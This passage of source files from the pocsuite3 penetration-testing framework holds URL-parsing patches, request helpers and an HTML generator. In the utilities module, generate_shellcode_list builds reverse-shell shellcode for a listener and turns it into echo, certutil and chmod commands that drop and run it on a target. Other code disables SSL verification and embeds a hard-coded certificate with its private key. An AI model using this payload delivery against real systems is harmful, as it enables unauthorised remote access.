url += ':' + str(port)\n        if path is not None:\n            url += path\n        if query is not None:\n            url += '?' + query\n        if fragment is not None:\n            url += '#' + fragment\n\n        return url\n\n    def __str__(self):\n        return self.url\n\n\ndef patched_parse_url(url):\n    \"\"\"\n    Given a url, return a parsed :class:`.Url` namedtuple. Best-effort is\n    performed to parse incomplete urls. Fields not provided will be None.\n\n    Partly backwards-compatible with :mod:`urlparse`.\n\n    Example::\n\n        >>> parse_url('http://google.com/mail/')\n        Url(scheme='http', host='google.com', port=None, path='/mail/', ...)\n        >>> parse_url('google.com:80')\n        Url(scheme=None, host='google.com', port=80, path=None, ...)\n        >>> parse_url('/foo?bar')\n        Url(scheme=None, host=None, port=None, path='/foo', query='bar', ...)\n    \"\"\"\n\n    # While this code has overlap with stdlib's urlparse, it is much\n    # simplified for our needs and less annoying.\n    # Additionally, this implementations does silly things to be optimal\n    # on CPython.\n\n    def split_first(s, delims):\n        \"\"\"\n        Given a string and an iterable of delimiters, split on the first found\n        delimiter. Return two split parts and the matched delimiter.\n\n        If not found, then the first part is the full input string.\n\n        Example::\n\n            >>> split_first('foo/bar?baz', '?/=')\n            ('foo', 'bar?baz', '/')\n            >>> split_first('foo/bar?baz', '123')\n            ('foo/bar?baz', '', None)\n\n        Scales linearly with number of delims. Not ideal for large number of delims.\n        \"\"\"\n        min_idx = None\n        min_delim = None\n        for d in delims:\n            idx = s.find(d)\n            if idx < 0:\n                continue\n\n            if min_idx is None or idx < min_idx:\n                min_idx = idx\n                min_delim = d\n\n        if min_idx is None or min_idx < 0:\n            return s, '', None\n\n        return s[:min_idx], s[min_idx + 1:], min_delim\n\n    if not url:\n        # Empty\n        return Url()\n\n    scheme = None\n    auth = None\n    host = None\n    port = None\n    path = None\n    fragment = None\n    query = None\n\n    # Scheme\n    if '://' in url:\n        scheme, url = url.split('://', 1)\n\n    # Find the earliest Authority Terminator\n    # (http://tools.ietf.org/html/rfc3986#section-3.2)\n    url, path_, delim = split_first(url, ['/', '?', '#'])\n\n    if delim:\n        # Reassemble the path\n        path = delim + path_\n\n    # Auth\n    if '@' in url:\n        # Last '@' denotes end of auth part\n        auth, url = url.rsplit('@', 1)\n\n    # IPv6\n    if url and url[0] == '[':\n        host, url = url.split(']', 1)\n        host += ']'\n\n    # Port\n    if ':' in url:\n        _host, port = url.split(':', 1)\n\n        if not host:\n            host = _host\n\n        if port:\n            # If given, ports must be integers. No whitespace, no plus or\n            # minus prefixes, no non-integer digits such as ^2 (superscript).\n            if not port.isdigit():\n                raise LocationParseError(url)\n            try:\n                port = int(port)\n            except ValueError:\n                raise LocationParseError(url)\n        else:\n            # Blank ports are cool, too. (rfc3986#section-3.2.3)\n            port = None\n\n    elif not host and url:\n        host = url\n\n    if not path:\n        return Url(scheme, auth, host, port, path, query, fragment)\n\n    # Fragment\n    if '#' in path:\n        path, fragment = path.split('#', 1)\n\n    # Query\n    if '?' in path:\n        path, query = path.split('?', 1)\n\n    return Url(scheme, auth, host, port, path, query, fragment)\n\n\ndef patch_urllib3_parse_url():\n    try:\n        urllib3.util.parse_url.__code__ = patched_parse_url.__code__\n    except Exception:\n        pass\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/remove_ssl_verify.py",
    "content": "import ssl\n\n\ndef remove_ssl_verify():\n    # It doesn't seem to work. 09/07/2022\n    ssl._create_default_https_context = ssl._create_unverified_context\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/remove_warnings.py",
    "content": "from urllib3 import disable_warnings\n\n\ndisable_warnings()\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/session_reuse.py",
    "content": "from pocsuite3.lib.core.data import kb\n\n\nclass ReuseSession:\n    def __init__(self):\n        self.session_queue = kb.session_queue\n        self.session = None\n\n    def __enter__(self):\n        self.session = self.session_queue.get()\n        return self.session\n\n    def __exit__(self, *args):\n        self.session_queue.put(self.session)\n\n\ndef api_request(method, url, **kwargs):\n    with ReuseSession() as session:\n        return session.request(method=method, url=url, **kwargs)\n"
  },
  {
    "path": "pocsuite3/lib/request/patch/unquote_request_uri.py",
    "content": "import requests\nimport urllib3\nfrom requests.exceptions import InvalidURL\nfrom urllib.parse import quote\n\n\n# The unreserved URI characters (RFC 3986)\nUNRESERVED_SET = frozenset(\n    \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\" + \"0123456789-._~\")\n\n\ndef unquote_unreserved(uri):\n    \"\"\"Un-escape any percent-escape sequences in a URI that are unreserved\n    characters. This leaves all reserved, illegal and non-ASCII bytes encoded.\n    :rtype: str\n    \"\"\"\n    parts = uri.split('%')\n    for i in range(1, len(parts)):\n        h = parts[i][0:2]\n        if len(h) == 2 and h.isalnum():\n            try:\n                c = chr(int(h, 16))\n            except ValueError:\n                raise InvalidURL(\"Invalid percent-escape sequence: '%s'\" % h)\n\n            if c in UNRESERVED_SET:\n                parts[i] = c + parts[i][2:]\n            else:\n                parts[i] = '%' + parts[i]\n        else:\n            parts[i] = '%' + parts[i]\n    return ''.join(parts)\n\n\ndef patched_requote_uri(uri):\n    \"\"\"Re-quote the given URI.\n    This function passes the given URI through an unquote/quote cycle to\n    ensure that it is fully and consistently quoted.\n    :rtype: str\n    \"\"\"\n    safe_with_percent = \"!\\\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~\"\n    safe_without_percent = \"!\\\"#$&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~\"\n    try:\n        # Unquote only the unreserved characters\n        # Then quote only illegal characters (do not quote reserved,\n        # unreserved, or '%')\n        return quote(unquote_unreserved(uri), safe=safe_with_percent)\n    except InvalidURL:\n        # We couldn't unquote the given URI, so let's try quoting it, but\n        # there may be unquoted '%'s in the URI. We need to make sure they're\n        # properly quoted so they do not cause issues elsewhere.\n        return quote(uri, safe=safe_without_percent)\n\n\ndef patched_encode_target(target):\n    return target\n\n\ndef unquote_request_uri():\n    try:\n        requests.utils.requote_uri.__code__ = patched_requote_uri.__code__\n    except Exception:\n        pass\n\n    try:\n        urllib3.util.url._encode_target.__code__ = patched_encode_target.__code__\n    except Exception:\n        pass\n"
  },
  {
    "path": "pocsuite3/lib/utils/__init__.py",
    "content": "import re\nimport ast\nimport base64\nimport binascii\nimport os\nimport string\nimport random\nfrom faker import Faker\nfrom socket import gethostbyname\nimport urllib.parse\nfrom ipaddress import ip_address\nfrom pocsuite3.lib.core.data import logger, paths\nfrom pocsuite3.lib.core.enums import (\n    CUSTOM_LOGGING, OS, OS_ARCH, SHELLCODE_CONNECTION\n)\n# for pocsuite 2.x\nfrom pocsuite3.lib.core.exception import PocsuiteGenericException\nfrom pocsuite3.shellcodes import OSShellcodes\n\n\ndef urlparse(address):\n    # https://stackoverflow.com/questions/50499273/urlparse-fails-with-simple-url\n    try:\n        ip = ip_address(address)\n        if ip.version == 4:\n            return urllib.parse.urlparse(f'tcp://{address}')\n        elif ip.version == 6:\n            return urllib.parse.urlparse(f'tcp://[{address}]')\n    except ValueError:\n        pass\n\n    if not re.search(r'^[A-Za-z0-9+.\\-]+://', address):\n        address = f'tcp://{address}'\n    return urllib.parse.urlparse(address)\n\n\ndef url2ip(url, with_port=False):\n    \"\"\"\n    works like turning 'http://baidu.com' => '180.149.132.47'\n    \"\"\"\n\n    url_prased = urlparse(url)\n    if url_prased.port:\n        ret = gethostbyname(url_prased.hostname), url_prased.port\n    elif not url_prased.port and url_prased.scheme == 'https':\n        ret = gethostbyname(url_prased.hostname), 443\n    else:\n        ret = gethostbyname(url_prased.hostname), 80\n\n    return ret if with_port else ret[0]\n\n\ndef str_to_dict(value):\n    try:\n        return ast.literal_eval(value)\n    except ValueError as e:\n        logger.log(CUSTOM_LOGGING.ERROR, \"conv string failed : {}\".format(str(e)))\n\n\ndef random_str(length=10, chars=string.ascii_letters + string.digits):\n    return ''.join(random.sample(chars, length))\n\n\ndef generate_random_user_agent():\n    return Faker().user_agent()\n\n\ndef get_middle_text(text, prefix, suffix, index=0):\n    \"\"\"\n    Simple implementation of obtaining intermediate text\n\n    :param text:Full text to get\n    :param prefix:To get the first part of the text\n    :param suffix: To get the second half of the text\n    :param index: Where to get it from\n    :return:\n    \"\"\"\n    try:\n        index_1 = text.index(prefix, index)\n        index_2 = text.index(suffix, index_1 + len(prefix))\n    except ValueError:\n        # logger.log(CUSTOM_LOGGING.ERROR, \"text not found pro:{} suffix:{}\".format(prefix, suffix))\n        return ''\n    return text[index_1 + len(prefix):index_2]\n\n\ndef generate_shellcode_list(listener_ip, listener_port, os_target=OS.WINDOWS, os_target_arch=OS_ARCH.X86,\n                            chunked_num=50, profix=None, write_path=None):\n    \"\"\"\n    Generate executable shellcode for shell rebound under Windows/Linux. When writing a POC with command execution,\n    execute the list returned by this command.\n\n    :param listener_ip: Listening IP\n    :param listener_port: Listening port\n    :param os_target: System type, default is Windows\n    :param os_target_arch: System architecture, the default is x86\n    :param chunked_num: Specify how much quantity is one piece, the default is 50\n    :param profix: Select the prefix of the command execution, the default is None. Automatically select according to\n            the operating system\n    :param write_path: The written file directory, when the default is None, Windows will write to the %TEMP% directory,\n            Linux will write to the /tmp directory, the file name is random\n    :return: list of command\n    \"\"\"\n\n    bad_chars = [\"\\x00\", \"\\x0a\", \"\\x0d\", \"\\x3b\"]\n    s = OSShellcodes(os_target, os_target_arch, listener_ip, listener_port, bad_chars)\n    connection_type = SHELLCODE_CONNECTION.REVERSE\n    filename = random_str(5)\n    filepath = os.path.join(paths.POCSUITE_TMP_PATH, filename)\n    if os_target == OS.WINDOWS:\n        filepath = os.path.join(paths.POCSUITE_TMP_PATH, filename) + '.exe'\n    _ = s.create_shellcode(\n        connection_type,\n        encode='',\n        make_exe=1,\n        debug=0,\n        # dll_inj_funcs=dll_funcs,\n        filename=filename,\n        # use_precompiled=False\n    )\n    if not os.path.exists(filepath):\n        raise PocsuiteGenericException(\"generate file does not exist!\")\n    with open(filepath, 'rb') as f:\n        data = f.read()\n\n    os.unlink(filepath)\n    if profix is None:\n        if os_target == OS.WINDOWS:\n            profix = \"cmd.exe /q /c \"\n        elif os_target == OS.LINUX:\n            profix = \"\"\n\n    index = 0\n    cmd = []\n    rand_str = random_str(4)\n    if os_target == OS.WINDOWS:\n        data = base64.b64encode(data).decode()\n        length = len(data)\n\n        if write_path is None:\n            write_path = \"%TEMP%\"\n        filename = r\"{path}\\{rand}.bs4\".format(path=write_path, rand=rand_str)\n        filename_out = r\"{path}\\{rand}.exe\".format(path=write_path, rand=rand_str)\n        while 1:\n            if index > length:\n                break\n            _cmd = data[index:index + chunked_num]\n            flag = \">>\"\n            if index == 0:\n                flag = \">\"\n            cmd.append(profix + r\"echo {payload} {flag} {filename}\".format(payload=_cmd, flag=flag, filename=filename))\n            index = index + chunked_num\n        cmd.append(profix + \"certutil -decode {input} {output}\".format(input=filename, output=filename_out))\n        cmd.append(profix + filename_out)\n    elif os_target == OS.LINUX:\n        length = len(data)\n        echo_prefix = \"\\\\x\"\n        if write_path is None:\n            write_path = \"/tmp\"\n        filename = r\"{path}/{rand}\".format(path=write_path, rand=rand_str)\n        while 1:\n            if index > length:\n                break\n\n            block = str(binascii.hexlify(data[index:index + chunked_num]), \"utf-8\")\n            block = echo_prefix + echo_prefix.join(a + b for a, b in zip(block[::2], block[1::2]))\n            command = profix + 'echo -ne \"{}\" >> {}'.format(block, filename)\n            cmd.append(command)\n            index = index + chunked_num\n        cmd.append(\"chmod u+x \" + filename)\n        cmd.append(profix + filename)\n\n    return cmd\n\n\ndef gen_cert(countryName='',\n             stateOrProvinceName='',\n             localityName='',\n             organizationName='',\n             organizationUnitName='',\n             commonName='',\n             emailAddress='',\n             serialNumber=0,\n             validityStartInSeconds=0,\n             validityEndInSeconds=0,\n             filepath=\"cacert.pem\"):\n\n    # openssl library dependencies is too heavy, so we move it to extras_require\n    try:\n        from OpenSSL import crypto\n        fake = Faker()\n        domain_name = fake.domain_name()\n        yr = 24 * 3600 * 365\n        vf = -1 * random.randint(0, yr * 3) - yr\n        vt = vf + random.randint(5, 9) * yr\n        # create a key pair\n        k = crypto.PKey()\n        k.generate_key(crypto.TYPE_RSA, 2048)\n        # create a self-signed cert\n        cert = crypto.X509()\n        cert.get_subject().C = countryName or 'US'\n        cert.get_subject().ST = stateOrProvinceName or fake.state_abbr()\n        cert.get_subject().L = localityName or fake.city()\n        cert.get_subject().O = organizationName or fake.company()\n        cert.get_subject().OU = organizationUnitName or fake.bs().split()[-1]\n        cert.get_subject().CN = commonName or domain_name\n        cert.get_subject().emailAddress = emailAddress or fake.email().split('@')[0] + '@' + domain_name\n        serialNumber = serialNumber or (random.randint(0, 0xffffffff - 1) << 32) + random.randint(0, 0xffffffff - 1)\n        cert.set_serial_number(serialNumber)\n        cert.gmtime_adj_notBefore(validityStartInSeconds or vf)\n        cert.gmtime_adj_notAfter(validityEndInSeconds or vt)\n        cert.set_issuer(cert.get_subject())\n        cert.set_version(2)\n        cert.set_pubkey(k)\n        cert.sign(k, 'sha256')\n        logger.info(\"Successfully generated a self-signed certificate\")\n        with open(filepath, \"wb+\") as fw:\n            fw.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))\n            fw.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k))\n    except ImportError:\n        logger.warning('pyOpenSSL not installed, use hard-code certificate instead')\n        # base64 encoding to avoid cert leak warning\n        hard_coded_cert_base64 = (\n            b'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR2akNDQXFhZ0F3SUJBZ0lJWVNpZnhqek80'\n            b'elF3RFFZSktvWklodmNOQVFFTEJRQXdnWjR4Q3pBSkJnTlYKQkFZVEFsVlRNUXN3Q1FZRFZRUUlE'\n            b'QUpPU2pFWk1CY0dBMVVFQnd3UVYyVnpkQ0JCYm5Sb2IyNTViR0Z1WkRFVwpNQlFHQTFVRUNnd05V'\n            b'Mk5vYm1WcFpHVnlJRXhNUXpFVk1CTUdBMVVFQ3d3TVlXTjBhVzl1TFdsMFpXMXpNUkV3CkR3WURW'\n            b'UVFEREFoamFHVnVMbUpwZWpFbE1DTUdDU3FHU0liM0RRRUpBUllXWVd4c2FYTnZibTFwYkd4bGNr'\n            b'QmoKYUdWdUxtSnBlakFlRncweU1EQXhNREV4TkRBeE1UVmFGdzB5T0RFeU1qa3hOREF4TVRWYU1J'\n            b'R2VNUXN3Q1FZRApWUVFHRXdKVlV6RUxNQWtHQTFVRUNBd0NUa294R1RBWEJnTlZCQWNNRUZkbGMz'\n            b'UWdRVzUwYUc5dWVXeGhibVF4CkZqQVVCZ05WQkFvTURWTmphRzVsYVdSbGNpQk1URU14RlRBVEJn'\n            b'TlZCQXNNREdGamRHbHZiaTFwZEdWdGN6RVIKTUE4R0ExVUVBd3dJWTJobGJpNWlhWG94SlRBakJn'\n            b'a3Foa2lHOXcwQkNRRVdGbUZzYkdsemIyNXRhV3hzWlhKQQpZMmhsYmk1aWFYb3dnZ0VpTUEwR0NT'\n            b'cUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFDeXFHdFJBUGNHCkF4SGZsTm1oV3BBKzJK'\n            b'ZVArZVg1ejN4OXJaWkVsWVJhTm04bWhNd25PbW83Z3ppOENEM0k0SXIvc3ArZG1uejQKUUpENTZi'\n            b'NUh5bzVNbHB4Y0dtcmxTYkRzWmlrRTBHWmZBcG9oVjVFMy9XUFBDaHFJSGxpWlBUZGEwaG1sZ1ha'\n            b'NwpzRmpMcmZtcEFQcmt2OGdmV0ZjNlZsaCtsbFFpMnRNMm9MYTdMaVBTeVdycXc5NjVXZG9rTzRJ'\n            b'b29HQ25XUUI4CkpiVmlYZEpFNEduZVF0cDBiQXplbzFsdHNadXNGOCtDdmQ2dGxSV0ZWZmUrd3Yv'\n            b'TU00UnpYYUFwTGpXSU5Ta2IKMmlWbWI5QmtpZ09VRHF6WUhlRzNWUGZKKzE2cjRicGZxZXljR3hu'\n            b'clkyL2Zpa0diRDRHVHRuZ1RITkovcWx5Ugp1Sjd0UkFzMTNUVHpBZ01CQUFFd0RRWUpLb1pJaHZj'\n            b'TkFRRUxCUUFEZ2dFQkFES0txR1dyS1ZWcEd1YmVubk5mCnp1Y1BvQk5jb0w2a2kzMVE1SmxKM09Q'\n            b'SVJtV3E4aGsycGlyeUxENkNCRER5VnUwd2Jtcnc2bHNrRWZRZE9qVW0KK1cxVElVQzJJeXJUT0w3'\n            b'RUY2YTdtT294VnZOSERnQ1JMaHZxakZtN2FlRE1ZMGpueGNycFJjUC9hRVJxSmRHWQovYWlSRDV5'\n            b'T0w3U2djVVd4ZEt6TmZiRzViOFcyVUNvTXdOS1NYcTJVRUR6d1U1RUZseTZsSFA3dTN0SE5QOGV6'\n            b'Ck9sU0VaUDdxTCswc0l4SitYeEk2ZGNPQzRVTXNSTGFLYjFHNXFoemFhRTFZU3FWWC9LcVBITUgz'\n            b'QzhXUXZJdUIKeE8vR2p6cHhBSmRXZzhJYU1qdWZPWExUMW15ZXJnZDU3b29SUVh1OVRJQzdjZG84'\n            b'N3Rjei9IMnk1aE83Vkkxbwo2SVU9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJ'\n            b'TiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dn'\n            b'U2tBZ0VBQW9JQkFRQ3lxR3RSQVBjR0F4SGYKbE5taFdwQSsySmVQK2VYNXozeDlyWlpFbFlSYU5t'\n            b'OG1oTXduT21vN2d6aThDRDNJNElyL3NwK2Rtbno0UUpENQo2YjVIeW81TWxweGNHbXJsU2JEc1pp'\n            b'a0UwR1pmQXBvaFY1RTMvV1BQQ2hxSUhsaVpQVGRhMGhtbGdYWjdzRmpMCnJmbXBBUHJrdjhnZldG'\n            b'YzZWbGgrbGxRaTJ0TTJvTGE3TGlQU3lXcnF3OTY1V2Rva080SW9vR0NuV1FCOEpiVmkKWGRKRTRH'\n            b'bmVRdHAwYkF6ZW8xbHRzWnVzRjgrQ3ZkNnRsUldGVmZlK3d2L01NNFJ6WGFBcExqV0lOU2tiMmlW'\n            b'bQpiOUJraWdPVURxellIZUczVlBmSisxNnI0YnBmcWV5Y0d4bnJZMi9maWtHYkQ0R1R0bmdUSE5K'\n            b'L3FseVJ1Sjd0ClJBczEzVFR6QWdNQkFBRUNnZ0VBTTd6b1R5NExXM2RhSHJoNWlldXpLREFMUEV1'\n            b'dldQZklZcEQ1bW1UK1RpM0QKWkpGQ21mMmx0QlJkUXI3VVBhOGhNY2xseGZ0dVEycFhVYmhxUFZv'\n            b'Z2VYZUlVbmZvQ3Z5Yk91cWU2R0Q5dEhnSgpjS3h1UnB1ZjR0NVhMcUl6SURXRktVejgxbHcybHIx'\n            b'TUNiZ1pPK01ueFVUd3pIc0Z6OFFmbnBFa1RtKzJpUFBuCml5WUc5YVBqSU90cWNFandxaEJhWWFt'\n            b'NVpwM0VOaEJpbkxjemhMb2srVlFnbkxwYlZXU29HbjZTZE5XcWRsbUQKdWxaYVZub1NSWkEwVzgy'\n            b'UjhLR01naVUyWUFHamphdmdBeGlBQXNoL1VwSE9nOVBFZHpNMEM5TGZWM2VEY3dQTAp3RXJicldE'\n            b'V1B2RXNidy9menkvRXJodEFDbVRFeExoazV2NGVqSnMzcVFLQmdRRG9jam9GTS9OcUpoWGVVRnQ3'\n            b'CnV3UCt5TWF6cnVUYnpBV0xKcGptSnlMTEVqNWZqWjhQVi9HUFkxTVAwYjY5TVJzbS9tZ3MyZGIz'\n            b'Q2JYS1pTRzcKZTZDRWlVMGdRODFPSVBUWitDUGx1Y1JaVVR2N3hHZU5SOEVUUjMzS1M5MmhZWEpJ'\n            b'cFZCNm1kWUlXNFpvSXhuTwpaa09NTFM4SU40WWlrNnJsam04NTZyUEd0UUtCZ1FERXd1VnhTK2ov'\n            b'Z01IZGowVG12WHJYbkVjYmxmd1ZhOU1wCnVEUTZIeVhubHFlL0xzb3ZFcmcrV2NFS2FURERmY2k2'\n            b'TWZXdzRpVjRDRUdjNHhJeGNwbUY2elFMWFJieGVZK3YKMDZ0KzBtdjI2bkdxeUdOYmlBS1FMYjRw'\n            b'SmxCU290c1Z2VGJHTjJzRGRkVTIzN2t0cHpQZ3FmSXZlbUFuZDBseApkU0N1L3UxdUJ3S0JnUURP'\n            b'WVh6NldhSHB3Vjd4UUUrNWo5YUFSU3VISmVXMDhYU0trLzUxZXBIOTAzamx4Z3hQCnh6bUdvaDJC'\n            b'a2l6VU5lRnh3YmdrK2xWT2lhU0t5emdrQ2lQL0NSa2RhSlhFcEtaQlVYd3QzNzVodnlxTzQxYzkK'\n            b'clZQVUZrbXRiNmFjUHJVRm95SE5lUUQ3OHFkbmxxSzNDejAySEhnQng2cWswSStQdWVNdmZSK1pj'\n            b'UUtCZ0M3SQpJQUZtQ1FubXRURldoUTFQYzh1YnpwUlNmdE1oQmQzZmZCdHRtSGVOckdpYVdWd0Qy'\n            b'V2FKdElvakpJTDJmeWsyCkE3S0FzbVB0b3B3SXFTUzBtS2ZzbWoweGJ1a08vQWpVRE94a1gyTWZy'\n            b'dExxUGlWZkd5em9rMVA1VmhPdndPTlUKVDVlbFNYNVRIOVNpTU1jWUFBK2ttSDZOWEJ0R0UySTBk'\n            b'UWJtZWRFMUFvR0JBS2xkMnlHTll2eDZMc1F1czlOWgpjVlZNWHFLbFVKY1pSTVY5aGdTdTQ3alZI'\n            b'ZnlMMVFRcTFnaG1rU0NpeGVZWXJLSW4xU09ubERsK2VwYTQ3SmxqClhhd3ZNRFREWmxRRGxwS05v'\n            b'dEgzbThLQUZ0VUVvQ2dzTm5zM3ZoOERDSXFJUEJEMDRndkV3R3pLYnNhQUM1WGIKUFprd1o0TlFK'\n            b'RWlDTnRyMUR6Qmg0ZktuCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'\n        )\n        hard_coded_cert = base64.b64decode(hard_coded_cert_base64)\n        with open(filepath, \"wb+\") as fw:\n            fw.write(hard_coded_cert)\n\n\ndef minimum_version_required(ver):\n    from pocsuite3 import __version__\n    from packaging.version import parse as parse_version\n    v1, v2 = parse_version(ver), parse_version(__version__)\n    if v1 > v2:\n        logger.warning(f'The minimum version required for this PoC plugin is {ver}, '\n                       f'you installed {__version__}, please consider upgrading pocsuite3.')\n        from pocsuite3.lib.core.data import conf\n        from pocsuite3.lib.core.update import update\n        conf.update_all = True\n        update()\n"
  },
  {
    "path": "pocsuite3/lib/utils/markup.py",
    "content": "# This code is in the public domain, it comes\n# with absolutely no warranty and you can do\n# absolutely whatever you want with it.\n\n__date__ = '16 March 2017'\n__version__ = '1.14'\n__doc__ = \"\"\"\nThis is markup.py - a Python module that attempts to\nmake it easier to generate HTML/XML from a Python program\nin an intuitive, lightweight, customizable and pythonic way.\nIt works with both python 2 and 3.\n\nThe code is in the public domain.\n\nVersion: %s as of %s.\n\nDocumentation and further info is at http://markup.sourceforge.net/\n\nPlease send bug reports, feature requests, enhancement\nideas or questions to nogradi at gmail dot com.\n\nInstallation: drop markup.py somewhere into your Python path.\n\"\"\" % (__version__, __date__)\n\ntry:\n    basestring\n    import string\nexcept NameError:\n    # python 3\n    basestring = str\n    string = str\n    long = int\n\n# tags which are reserved python keywords will be referred\n# to by a leading underscore otherwise we end up with a syntax error\nimport keyword\n\n\nclass element:\n    \"\"\"This class handles the addition of a new element.\"\"\"\n\n    def __init__(self, tag, case='lower', parent=None):\n        self.parent = parent\n\n        if case == 'upper':\n            self.tag = tag.upper()\n        elif case == 'lower':\n            self.tag = tag.lower()\n        elif case == 'given':\n            self.tag = tag\n        else:\n            self.tag = tag\n\n    def __call__(self, *args, **kwargs):\n        if len(args) > 1:\n            raise ArgumentError(self.tag)\n\n        # if class_ was defined in parent it should be added to every element\n        if self.parent is not None and self.parent.class_ is not None:\n            if 'class_' not in kwargs:\n                kwargs['class_'] = self.parent.class_\n\n        if self.parent is None and len(args) == 1:\n            x = [self.render(self.tag, False, myarg, mydict) for myarg, mydict in _argsdicts(args, kwargs)]\n            return '\\n'.join(x)\n        elif self.parent is None and len(args) == 0:\n            x = [self.render(self.tag, True, myarg, mydict) for myarg, mydict in _argsdicts(args, kwargs)]\n            return '\\n'.join(x)\n\n        if self.tag in self.parent.twotags:\n            for myarg, mydict in _argsdicts(args, kwargs):\n                self.render(self.tag, False, myarg, mydict)\n        elif self.tag in self.parent.onetags:\n            if len(args) == 0:\n                for myarg, mydict in _argsdicts(args, kwargs):\n                    self.render(self.tag, True, myarg, mydict)  # here myarg is always None, because len( args ) = 0\n            else:\n                raise ClosingError(self.tag)\n        elif self.parent.mode == 'strict_html' and self.tag in self.parent.deptags:\n            raise DeprecationError(self.tag)\n        else:\n            raise InvalidElementError(self.tag, self.parent.mode)\n\n    def render(self, tag, single, between, kwargs):\n        \"\"\"Append the actual tags to content.\"\"\"\n\n        out = \"<%s\" % tag\n        for key, value in list(kwargs.items()):\n            if value is not None:  # when value is None that means stuff like <... checked>\n                key = key.strip('_')  # strip this so class_ will mean class, etc.\n                if key == 'http_equiv':  # special cases, maybe change _ to - overall?\n                    key = 'http-equiv'\n                elif key == 'accept_charset':\n                    key = 'accept-charset'\n                out = \"%s %s=\\\"%s\\\"\" % (out, key, escape(value))\n            else:\n                out = \"%s %s\" % (out, key)\n        if between is not None:\n            out = \"%s>%s</%s>\" % (out, between, tag)\n        else:\n            if single:\n                out = \"%s />\" % out\n            else:\n                out = \"%s>\" % out\n        if self.parent is not None:\n            self.parent.content.append(out)\n        else:\n            return out\n\n    def close(self):\n        \"\"\"Append a closing tag unless element has only opening tag.\"\"\"\n\n        if self.tag in self.parent.twotags:\n            self.parent.content.append(\"</%s>\" % self.tag)\n        elif self.tag in self.parent.onetags:\n            raise ClosingError(self.tag)\n        elif self.parent.mode == 'strict_html' and self.tag in self.parent.deptags:\n            raise DeprecationError(self.tag)\n\n    def open(self, **kwargs):\n        \"\"\"Append an opening tag.\"\"\"\n\n        if self.tag in self.parent.twotags or self.tag in self.parent.onetags:\n            self.render(self.tag, False, None, kwargs)\n        elif self.mode == 'strict_html' and self.tag in self.parent.deptags:\n            raise DeprecationError(self.tag)\n\n\nclass page:\n    \"\"\"This is our main class representing a document. Elements are added\n    as attributes of an instance of this class.\"\"\"\n\n    def __init__(self, mode='strict_html', case='lower', onetags=None, twotags=None, separator='\\n', class_=None):\n        \"\"\"Stuff that effects the whole document.\n\n        mode -- 'strict_html'   for HTML 4.01 (default)\n                'html'          alias for 'strict_html'\n                'loose_html'    to allow some deprecated elements\n                'xml'           to allow arbitrary elements\n\n        case -- 'lower'         element names will be printed in lower case (default)\n                'upper'         they will be printed in upper case\n                'given'         element names will be printed as they are given\n\n        onetags --              list or tuple of valid elements with opening tags only\n        twotags --              list or tuple of valid elements with both opening and closing tags\n                                these two keyword arguments may be used to select\n                                the set of valid elements in 'xml' mode\n                                invalid elements will raise appropriate exceptions\n\n        separator --            string to place between added elements, defaults to newline\n\n        class_ --               a class that will be added to every element if defined\"\"\"\n\n        valid_onetags = [\"AREA\", \"BASE\", \"BR\", \"COL\", \"FRAME\", \"HR\", \"IMG\", \"INPUT\", \"LINK\", \"META\", \"PARAM\"]\n        valid_twotags = [\"A\", \"ABBR\", \"ACRONYM\", \"ADDRESS\", \"B\", \"BDO\", \"BIG\", \"BLOCKQUOTE\", \"BODY\", \"BUTTON\",\n                         \"CAPTION\", \"CITE\", \"CODE\", \"COLGROUP\", \"DD\", \"DEL\", \"DFN\", \"DIV\", \"DL\", \"DT\", \"EM\", \"FIELDSET\",\n                         \"FORM\", \"FRAMESET\", \"H1\", \"H2\", \"H3\", \"H4\", \"H5\", \"H6\", \"HEAD\", \"HTML\", \"I\", \"IFRAME\", \"INS\",\n                         \"KBD\", \"LABEL\", \"LEGEND\", \"LI\", \"MAP\", \"NOFRAMES\", \"NOSCRIPT\", \"OBJECT\", \"OL\", \"OPTGROUP\",\n                         \"OPTION\", \"P\", \"PRE\", \"Q\", \"SAMP\", \"SCRIPT\", \"SELECT\", \"SMALL\", \"SPAN\", \"STRONG\", \"STYLE\",\n                         \"SUB\", \"SUP\", \"TABLE\", \"TBODY\", \"TD\", \"TEXTAREA\", \"TFOOT\", \"TH\", \"THEAD\", \"TITLE\", \"TR\",\n                         \"TT\", \"UL\", \"VAR\", \"NAV\", \"FOOTER\", \"MAIN\"]\n        deprecated_onetags = [\"BASEFONT\", \"ISINDEX\"]\n        deprecated_twotags = [\"APPLET\", \"CENTER\", \"DIR\", \"FONT\", \"MENU\", \"S\", \"STRIKE\", \"U\"]\n\n        self.header = []\n        self.content = []\n        self.htmlfooter = []\n        self.case = case\n        self.separator = separator\n\n        # init( ) sets it to True so we know that </body></html> has to be printed at the end\n        self._full = False\n        self.class_ = class_\n\n        if mode == 'strict_html' or mode == 'html':\n            self.onetags = valid_onetags\n            self.onetags += list(map(string.lower, self.onetags))\n            self.twotags = valid_twotags\n            self.twotags += list(map(string.lower, self.twotags))\n            self.deptags = deprecated_onetags + deprecated_twotags\n            self.deptags += list(map(string.lower, self.deptags))\n            self.mode = 'strict_html'\n        elif mode == 'loose_html':\n            self.onetags = valid_onetags + deprecated_onetags\n            self.onetags += list(map(string.lower, self.onetags))\n            self.twotags = valid_twotags + deprecated_twotags\n            self.twotags += list(map(string.lower, self.twotags))\n            self.mode = mode\n        elif mode == 'xml':\n            if onetags and twotags:\n                self.onetags = onetags\n                self.twotags = twotags\n            elif (onetags and not twotags) or (twotags and not onetags):\n                raise CustomizationError()\n            else:\n                self.onetags = russell()\n                self.twotags = russell()\n            self.mode = mode\n        else:\n            raise ModeError(mode)\n\n    def __getattr__(self, attr):\n\n        # tags should start with double underscore\n        if attr.startswith(\"__\") and 